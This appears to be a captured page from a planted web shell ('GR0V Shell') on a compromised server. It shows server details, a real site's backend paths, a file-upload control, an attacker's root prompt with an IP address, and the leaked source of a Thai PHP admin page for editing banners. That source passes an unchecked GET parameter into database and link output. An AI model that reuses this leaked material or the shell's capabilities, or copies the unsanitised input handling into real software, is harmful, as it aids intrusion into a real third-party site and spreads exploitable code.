? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.com/public_html/backend/modules/advertise/
File Upload :
Current File : /home/admin/domains/happytokorea.com/public_html/backend/modules/advertise/com_edit_topic.php

<?
$topic_id=$_GET['id'];

if ($_SESSION["la"] == 1){
$edit=$db->getDataOneRow('advertise',$topic_id,'id_advertise');
}else{
$edit=$db->getDataOneRow('advertise_en',$topic_id,'id_advertise');
}




?>

<script src="nicEdit/nicEdit.js" type="text/javascript"></script>
<script type="text/javascript">
bkLib.onDomLoaded(function() {
	new nicEditor({fullPanel : true}).panelInstance('ContentDetail');
});
</script>
<SCRIPT language=JavaScript>
function fun_name()
{

var temp;
var digital="'";

if (document.webForm.bannerName.value.length != 0) 
    {
       for (var i=0;i<document.webForm.bannerName.value.length;i++) 
         {
              temp=document.webForm.bannerName.value.substring(i,i+1)
              if (digital.indexOf(temp)!=-1) 
                {
                    errmsg="ห้ามใส่เครื่องหมาย '";
                    document.webForm.bannerName.select();
                    alert(errmsg);
                    return false;
                }
         }
   }
if (document.webForm.bannerLink.value.length != 0) 
    {
       for (var i=0;i<document.webForm.bannerLink.value.length;i++) 
         {
              temp=document.webForm.bannerLink.value.substring(i,i+1)
              if (digital.indexOf(temp)!=-1) 
                {
                    errmsg="ห้ามใส่เครื่องหมาย '";
                    document.webForm.bannerLink.select();
                    alert(errmsg);
                    return false;
                }
         }
   }

if (document.webForm.bannerRanking.value.length != 0) 
    {
       for (var i=0;i<document.webForm.bannerRanking.value.length;i++) 
         {
              temp=document.webForm.bannerRanking.value.substring(i,i+1)
              if (digital.indexOf(temp)!=-1) 
                {
                    errmsg="ห้ามใส่เครื่องหมาย '";
                    document.webForm.bannerRanking.select();
                    alert(errmsg);
                    return false;
                }
         }
   }

}
</SCRIPT> 
<div class="content">
    	<div class="title"><img style="padding:10px 0 0 15px; float:left;" src="images/icons/dark/create.png" alt="" />
    	<h5>แก้ไขแบนเนอร์พิเศษ</h5>
  </div>
 
         <!-- Form begins -->
 <form action="<? echo"$PHPSELF?mod=advertise&ac=edit_data_banner";?>" enctype="multipart/form-data" class="mainForm" id="webForm" method="post" name="webForm">
        
        	<!-- Input text fields -->
            <fieldset>
                <div class="widget first">

						<div class="fix"></div>		
						<div class="rowElem"><label>รูป แบนเนอร์พิเศษ<br />(ขนาด 1348 x 668)
						</label>
						<div class="formRight">		<?
		if($edit[name_advertise] != ""){
		?>
		<table width="650" border="1" cellspacing="2" cellpadding="0">
		<td>
		<label> 
		<div align="right" style="padding-bottom:20px;"><a href="<? echo"$PHPSELF?mod=advertise&ac=de_banner&id={$_GET['id']}";?>"><img src="images/close.png"></a><br />
		    <img src="images/advertise/<?=$edit[name_advertise];?>" width="200"></div>
		</label>
		</td>		 
		</tr>
		</table>
		<?
		}
		?><input  type="file" name="ContentPhoto" id="ContentPhoto" class="basicBtn" size="45"></div><div class="fix"></div></div>
						<div class="rowElem">
						  <label>Link แบนเนอร์พิเศษ</label>
						  <div class="formRight"><input type="text" name="link_advertise" id="link_advertise" value="<?=$edit['link_advertise']?>"/>
				  </div><div class="fix"></div></div>
						

						<div class="rowElem"><label>แสดงรูป แบนเนอร์พิเศษ </label>
						<div class="formRight">
                        <?
						$y="";
						$n="";
                        if($edit['show_advertise'] == 0){
							$y = "checked=\"checked\"";
						}else{
							$n = "checked=\"checked\"";							
						}
						?>
						  <input name="show_advertise" type="radio" id="radio" value="0" <?=$y;?>/>	
						  Yes  &nbsp;&nbsp;
						  <input type="radio" name="show_advertise" id="radio" value="1" <?=$n;?>/>
						  No
						</div><div class="fix"></div></div>						
						
					  <div class="rowElem"><label>&nbsp;</label><div class="formRight"><input type="submit" value="บันทึกรูป แบนเนอร์พิเศษ" class="greyishBtn" />
						<input type="reset" value="ยกเลิกรูป แบนเนอร์พิเศษ" class="basicBtn" />
						<input name="id_advertise" type="hidden" id="id_advertise" value="<?=$edit['id_advertise']?>" />
					    <input name="name_advertise" type="hidden" id="name_advertise" value="<?=$edit['name_advertise']?>" />
					  </div><div class="fix"></div></div>

                        <div class="fix"></div>

                </div>
            </fieldset>
             <div class="rowElem"><div class="formRight">
					  
                     
                 </div><div class="fix"></div></div>
  </form>
        
 
</div>				

T1KUS90T
  root-grov@210.1.60.28:~$